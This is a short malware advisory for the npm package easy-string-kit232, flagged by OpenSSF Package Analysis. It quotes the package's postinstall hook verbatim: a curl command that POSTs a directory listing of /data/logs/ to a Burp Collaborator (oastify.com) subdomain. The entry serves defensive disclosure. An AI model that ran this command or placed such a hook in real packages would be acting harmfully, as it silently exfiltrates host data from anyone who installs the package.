## What is MAL-2026-6461?

MAL-2026-6461 is a malicious package in easy-string-kit232, published on 25 Jun 2026. 

### Official description

package.json declares a postinstall lifecycle script that auto-executes on `npm install` and runs `curl -X POST -d "$(ls -la /data/logs/)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data`. This shells out at install time, captures a directory listing of `/data/logs/` on the installer's host, and POSTs the output over plaintext HTTP to a Burp Suite Collaborator (oastify.com) out-of-band subdomain controlled by whoever generated that Collaborator instance. The package advertises itself as a string-utility kit, which has no need to enumerate host filesystem contents or contact a remote OAST endpoint. Author, repository, bugs, and homepage metadata are all empty, consistent with a throwaway publish purpose-built for the exfil payload rather than a maintained utility.

The OpenSSF Package Analysis project identified 'easy-string-kit232' @ 1.0.8 (npm) as malicious.

It is considered malicious because:

- The package communicates with a domain associated with malicious activity.

- The package executes one or more commands associated with malicious behavior.
